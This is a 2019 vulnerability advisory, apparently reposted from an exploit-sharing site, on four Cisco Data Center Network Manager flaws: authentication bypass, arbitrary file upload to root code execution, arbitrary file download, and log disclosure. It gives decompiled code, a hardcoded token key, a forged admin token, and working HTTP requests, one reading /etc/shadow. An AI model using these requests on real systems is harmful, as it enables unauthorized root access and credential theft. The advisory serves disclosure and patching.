· 6 years ago · Jul 09, 2019, 03:42 PM
1>> Authentication Bypass and Arbitrary File Upload (leading to remote code execution) on Cisco Data Center Network Manager
2>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
3==========================================================================
4Disclosure: 26/6/2019 / Last updated: 6/7/2019
5
6
7>> Executive summary:
8Cisco Data Center Network Manager (DCNM) is provided by Cisco as a virtual appliance as well as installation packages for Windows and Red Hat Linux.
9DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
10
11DCNM 11.1(1) and below is affected by four vulnerabilities: authentication bypass, arbitrary file upload (leading to remote code execution), arbitrary file download and information disclosure via log download.
12
13The table below lists the affected versions for each vulnerability:
14
15Vulnerability Vulnerable? CVE
16 <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1)
17Authentication bypass Yes No No No 2019-1619
18File upload Yes, auth Yes, auth Yes, unauth No 2019-1620
19File download Yes, auth Yes, auth Yes, unauth No 2019-1621
20Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
21
22The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.
23In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.
24Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!
25All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown.
26
27To achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.
28
29Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1].
30
31
32>> Vendor description [2]:
33"Cisco® Data Center Network Manager (DCNM) is the comprehensive management solution for all NX-OS network deployments spanning LAN fabrics, SAN fabrics, and IP Fabric for Media (IPFM) networking in the data center powered by Cisco. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions.
34DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions.
35
36DCNM 11 provides interfaces for reoccurring management tasks such as fabric bootstrap, compliance SAN zoning, device-alias management, slow-drain analysis, SAN host-path redundancy, and port-monitoring configuration."
37
38
39>> Technical details:
40#1
41Vulnerability: Authentication Bypass
42CVE-2019-1619
43Attack Vector: Remote
44Constraints: None
45Affected products / versions:
46- Cisco Data Center Network Manager 10.4(2) and below
47
48DCNM exposes a "ReportServlet" on the URL /fm/pmreport. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
49
50The snippet of code below shows what the servlet does:
51com.cisco.dcbu.web.client.performance.ReportServlet
52
53 public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
54 Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
55 if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
56 request.setAttribute("popUpSessionTO", "true");
57 }
58
59 this.doInteractiveChart(request, response);
60 }
61
62The request is passed on to the verifyToken function, listed below:
63 private boolean verifyToken(HttpServletRequest httpServletRequest) {
64 String token = httpServletRequest.getParameter("token");
65 if(token == null) {
66 return false;
67 } else {
68 try {
69 FMServerRif serverRif = SQLLoader.getServerManager();
70 IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
71 token = URLDecoder.decode(token, "UTF-8");
72 token = token.replace(' ', '+');
73 FMUserBase fmUserBase = isc.verifySSoToken(token);
74 if(fmUserBase == null) {
75 return false;
76 } else {
77 Credentials newCred = new Credentials();
78 int idx = fmUserBase.getUsername().indexOf(64);
79 newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
80 newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
81 newCred.setRole(fmUserBase.getRole());
82 newCred.setAuthenticated(true);
83 httpServletRequest.getSession().setAttribute("credentials", newCred);
84 return true;
85 }
86 } catch (Exception var8) {
87 var8.printStackTrace();
88 return false;
89 }
90 }
91 }
92
93As it can be seen in the line:
94 FMUserBase fmUserBase = isc.verifySSoToken(token);
95the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
96
97Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
98
99 public FMUserBase verifySSoToken(String ssoToken) {
100 return SecurityManager.verifySSoToken(ssoToken);
101 }
102
103Digging further into SecurityManager.verifySSoToken:
104com.cisco.dcbu.sm.server.security.SecurityManager
105
106public static FMUserBase verifySSoToken(String ssoToken) {
107 String userName = null;
108 FMUserBase fmUserBase = null;
109 FMUser fmUser = null;
110
111 try {
112 userName = getSSoTokenUserName(ssoToken);
113 if(confirmSSOToken(ssoToken)) {
114 fmUser = UserManager.getInstance().findUser(userName);
115 if(fmUser != null) {
116 fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
117 }
118
119 if(fmUserBase == null) {
120 fmUserBase = DCNMUserImpl.getFMUserBase(userName);
121 }
122
123 if(fmUserBase == null) {
124 fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
125 }
126 }
127 } catch (Exception var5) {
128 _Logger.info("verifySSoToken: ", var5);
129 }
130
131 return fmUserBase;
132 }
133
134As it can be seen in the code above, the username is obtained from the token here:
135 userName = getSSoTokenUserName(ssoToken);
136
137Digging yet another layer we find the following:
138public static String getSSoTokenUserName(String ssoToken) {
139 return getSSoTokenDetails(ssoToken)[3];
140 }
141
142 private static String[] getSSoTokenDetails(String ssoToken) {
143 String[] ret = new String[4];
144 String separator = getTokenSeparator();
145 StringTokenizer st = new StringTokenizer(ssoToken, separator);
146 if(st.hasMoreTokens()) {
147 ret[0] = st.nextToken();
148 ret[1] = st.nextToken();
149 ret[2] = st.nextToken();
150
151 for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
152 ;
153 }
154 }
155
156 return ret;
157 }
158
159Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
160
161Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:
162 public static FMUserBase verifySSoToken(String ssoToken) {
163 (...)
164 userName = getSSoTokenUserName(ssoToken);
165 if(confirmSSOToken(ssoToken)) {
166 fmUser = UserManager.getInstance().findUser(userName);
167 if(fmUser != null) {
168 fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
169 }
170 (...)
171 }
172
173 public static boolean confirmSSOToken(String ssoToken) {
174 String userName = null;
175 int sessionId = false;
176 long sysTime = 0L;
177 String digest = null;
178 int count = false;
179 boolean ret = false;
180
181 try {
182 String[] detail = getSSoTokenDetails(ssoToken);
183 userName = detail[3];
184 int sessionId = Integer.parseInt(detail[0]);
185 sysTime = (new Long(detail[1])).longValue();
186 if(System.currentTimeMillis() - sysTime > 600000L) {
187 return ret;
188 }
189
190 digest = detail[2];
191 if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
192 ret = true;
193 userNameTLC.set(userName);
194 }
195 } catch (Exception var9) {
196 _Logger.info("confirmSSoToken: ", var9);
197 }
198
199 return ret;
200 }
201
202Now we can further understand the token. It seems it is composed of:
203sessionId + separator + sysTime + separator + digest + separator + username
204
205And what is the digest? Let's look into the getMessageDigest function:
206
207
208 private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
209 String input = userName + sessionid + sysTime + SECRETKEY;
210 MessageDigest md = MessageDigest.getInstance(algorithm);
211 md.update(input.getBytes());
212 return new String(Base64.encodeBase64((byte[])md.digest()));
213 }
214
215It is nothing more than the MD5 of:
216userName + sessionid + sysTime + SECRETKEY
217
218... and SECRETKEY is a fixed key in the code:
219 private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
220
221... while the separator is a ".":
222 private static String getTokenSeparator()
223 {
224 return System.getProperty("security.tokenSeparator", ".");
225 }
226
227In summary, this is what happens:
228The ReportServlet will happily authenticate any request, as long as it receives a token in the following format:
229sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
230
231The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:
232GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
233
234This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.
235Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
236
237Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.
238In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
239
240 private boolean verifyToken(HttpServletRequest httpServletRequest) {
241 (...)
242 Credentials newCred = new Credentials();
243 int idx = fmUserBase.getUsername().indexOf(64);
244 newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
245 newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
246 newCred.setRole(fmUserBase.getRole());
247 newCred.setAuthenticated(true);
248 httpServletRequest.getSession().setAttribute("credentials", newCred);
249 return true;
250 }
251 } catch (Exception var8) {
252 var8.printStackTrace();
253 return false;
254 }
255 (...)
256 }
257
258The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded".
259This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
260
261I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
262
263On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error.
264
265
266#2
267Vulnerability: Arbitrary File Upload (leading to remote code execution)
268CVE-2019-1620
269Attack Vector: Remote
270Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user
271Affected products / versions:
272- Cisco Data Center Network Manager 11.1(1) and below
273
274DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4].
275
276The code for this servlet is listed below:
277com.cisco.dcbu.web.client.reports.FileUploadServlet
278
279 public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
280 this.doGet(request, response);
281 }
282
283 public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
284 Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
285 if (cred == null || !cred.isAuthenticated()) {
286 throw new ServletException("User not logged in or Session timed out.");
287 }
288 this.handleUpload(request, response);
289 }
290
291The code shown above is simple, and the request is passed onto handleUpload:
292
293 private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
294 response.setContentType(CONTENT_TYPE);
295 PrintWriter out = null;
296 ArrayList<String> allowedFormats = new ArrayList<String>();
297 allowedFormats.add("jpeg");
298 allowedFormats.add("png");
299 allowedFormats.add("gif");
300 allowedFormats.add("jpg");
301 allowedFormats.add("cert");
302 File disk = null;
303 FileItem item = null;
304 DiskFileItemFactory factory = new DiskFileItemFactory();
305 String statusMessage = "";
306 String fname = "";
307 String uploadDir = "";
308 ListIterator iterator = null;
309 List items = null;
310 ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
311 TransformerHandler hd = null;
312 try {
313 out = response.getWriter();
314 StreamResult streamResult = new StreamResult(out);
315 SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
316 items = upload.parseRequest(request);
317 iterator = items.listIterator();
318 hd = tf.newTransformerHandler();
319 Transformer serializer = hd.getTransformer();
320 serializer.setOutputProperty("encoding", "UTF-8");
321 serializer.setOutputProperty("doctype-system", "response.dtd");
322 serializer.setOutputProperty("indent", "yes");
323 serializer.setOutputProperty("method", "xml");
324 hd.setResult(streamResult);
325 hd.startDocument();
326 AttributesImpl atts = new AttributesImpl();
327 hd.startElement("", "", "response", atts);
328 while (iterator.hasNext()) {
329 atts.clear();
330 item = (FileItem)iterator.next();
331 if (item.isFormField()) {
332 if (item.getFieldName().equalsIgnoreCase("fname")) {
333 fname = item.getString();
334 }
335 if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
336 uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
337 }
338 atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
339 hd.startElement("", "", "field", atts);
340 hd.characters(item.getString().toCharArray(), 0, item.getString().length());
341 hd.endElement("", "", "field");
342 atts.clear();
343 continue;
344 }
345 ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
346 Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
347 ImageReader imageReader = null;
348 if (imageReaders.hasNext()) {
349 imageReader = imageReaders.next();
350 }
351 try {
352 String imageFormat = imageReader.getFormatName();
353 String newFileName = fname + "." + imageFormat;
354 if (allowedFormats.contains(imageFormat.toLowerCase())) {
355 FileFilter fileFilter = new FileFilter();
356 fileFilter.setImageTypes(allowedFormats);
357 File[] fileList = new File(uploadDir).listFiles(fileFilter);
358 for (int i = 0; i < fileList.length; ++i) {
359 new File(fileList[i].getAbsolutePath()).delete();
360 }
361 disk = new File(uploadDir + File.separator + fname);
362 item.write(disk);
363 Calendar calendar = Calendar.getInstance();
364 SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
365 statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
366 }
367 imageReader.dispose();
368 imageInputStream.close();
369 atts.addAttribute("", "", "id", "CDATA", newFileName);
370 }
371 catch (Exception ex) {
372 this.processUploadedFile(item, uploadDir, fname);
373 Calendar calendar = Calendar.getInstance();
374 SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
375 statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
376 atts.addAttribute("", "", "id", "CDATA", fname);
377 }
378 hd.startElement("", "", "file", atts);
379 hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
380 hd.endElement("", "", "file");
381 }
382 hd.endElement("", "", "response");
383 hd.endDocument();
384 out.close();
385 }
386 catch (Exception e) {
387 out.println(e.getMessage());
388 }
389 }
390
391handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname".
392However, there is a catch... the file has to be a valid image with one of the extensions listed here:
393 allowedFormats.add("jpeg");
394 allowedFormats.add("png");
395 allowedFormats.add("gif");
396 allowedFormats.add("jpg");
397 allowedFormats.add("cert");
398
399However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:
400 try {
401 String imageFormat = imageReader.getFormatName();
402
403... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:
404 catch (Exception ex) {
405 this.processUploadedFile(item, uploadDir, fname);
406 Calendar calendar = Calendar.getInstance();
407 SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
408 statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
409 atts.addAttribute("", "", "id", "CDATA", fname);
410
411... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
412
413Let's look into that now:
414 private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
415 try {
416 int offset;
417 int contentLength = (int)item.getSize();
418 InputStream raw = item.getInputStream();
419 BufferedInputStream in = new BufferedInputStream(raw);
420 byte[] data = new byte[contentLength];
421 int bytesRead = 0;
422 for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
423 }
424 in.close();
425 if (offset != contentLength) {
426 throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
427 }
428 FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
429 out.write(data);
430 out.flush();
431 out.close();
432 }
433 catch (Exception ex) {
434 throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
435 }
436 }
437
438Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.
439In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
440
441If we send the following request:
442POST /fm/fileUpload HTTP/1.1
443Host: 10.75.1.40
444Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
445Content-Length: 429
446Content-Type: multipart/form-data; boundary=---------------------------9313517619947
447
448-----------------------------9313517619947
449Content-Disposition: form-data; name="fname"
450
451owned
452-----------------------------9313517619947
453Content-Disposition: form-data; name="uploadDir"
454
455/tmp/
456-----------------------------9313517619947
457Content-Disposition: form-data; name="filePath"; filename="whatever"
458Content-Type: application/octet-stream
459
460<any text or binary content here>
461
462-----------------------------9313517619947--
463
464The server will respond with:
465HTTP/1.1 200 OK
466X-FRAME-OPTIONS: SAMEORIGIN
467Content-Type: text/xml;charset=utf-8
468Date: Mon, 03 Sep 2018 00:57:11 GMT
469Connection: close
470Server: server
471
472<?xml version="1.0" encoding="UTF-8"?>
473<!DOCTYPE response SYSTEM "response.dtd">
474<response>
475<field id="fname">owned</field>
476<field id="uploadDir">/tmp/</field>
477<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
478</response>
479
480And our file has been written as root on the server:
481[root@dcnm_vm ~]# ls -l /tmp/
482(...)
483-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
484(...)
485
486Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
487
488A Metasploit module that exploits this vulnerability has been released with this advisory.
489
490
491#3
492Vulnerability: Arbitrary File Download
493CVE-2019-1621
494Attack Vector: Remote
495Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user
496Affected products / versions:
497- Cisco Data Center Network Manager 11.1(1) and below
498
499DCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root [5].
500
501The code below shows the servlet request processing code:
502com.cisco.dcbu.web.client.util.DownloadServlet
503
504 public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
505 Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
506 if (cred == null || !cred.isAuthenticated()) {
507 throw new ServletException("User not logged in or Session timed out.");
508 }
509 String showFile = (String)request.getAttribute("showFile");
510 if (showFile == null) {
511 showFile = request.getParameter("showFile");
512 }
513 File f = new File(showFile);
514 if (showFile.endsWith(".cert")) {
515 response.setContentType("application/octet-stream");
516 response.setHeader("Pragma", "cache");
517 response.setHeader("Cache-Control", "cache");
518 response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
519 } else if (showFile.endsWith(".msi")) {
520 response.setContentType("application/x-msi");
521 response.setHeader("Pragma", "cache");
522 response.setHeader("Cache-Control", "cache");
523 response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
524 } else if (showFile.endsWith(".xls")) {
525 response.setContentType("application/vnd.ms-excel");
526 response.setHeader("Pragma", "cache");
527 response.setHeader("Cache-Control", "cache");
528 response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
529 }
530 ServletOutputStream os = response.getOutputStream();
531 FileInputStream is = new FileInputStream(f);
532 byte[] buffer = new byte[4096];
533 int read = 0;
534 try {
535 while ((read = is.read(buffer)) > 0) {
536 os.write(buffer, 0, read);
537 }
538 os.flush();
539 }
540 catch (Exception e) {
541 LogService.log(LogService._WARNING, e.getMessage());
542 }
543 finally {
544 is.close();
545 }
546 }
547}
548
549As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
550
551Request:
552GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
553Host: 10.75.1.40
554Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
555
556Response:
557HTTP/1.1 200 OK
558
559root:$1$(REDACTED).:17763:0:99999:7:::
560bin:*:15980:0:99999:7:::
561daemon:*:15980:0:99999:7:::
562adm:*:15980:0:99999:7:::
563lp:*:15980:0:99999:7:::
564(...)
565
566An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
567
568A Metasploit module that exploits this vulnerability has been released with this advisory.
569
570
571#4
572Vulnerability: Information Disclosure (log files download)
573CVE-2019-1622
574Attack Vector: Remote
575Constraints: None
576Affected products / versions:
577- Cisco Data Center Network Manager 11.1(1) and below
578
579DCNM exposes a LogZipperServlet in /fm/log/fmlogs.zip. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
580
581To access it, simply request:
582GET /fm/log/fmlogs.zip
583
584Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
585
586
587>> Fix:
588For #1, upgrade to DCNM 11.0(1) and above [3].
589For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].
590For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
591
592
593>> References:
594[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
595[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html
596[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
597[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
598[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
599[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
600
601
602>> Disclaimer:
603Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
604Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.
605Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
606It is the vendor's responsibility to ensure their products' security before, during and after release to market.
607
608All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
609For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
610For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
611
612================
613Agile Information Security Limited
614http://www.agileinfosec.co.uk/
615>> Enabling secure digital business.
616
617# 0day.today [2019-07-09] #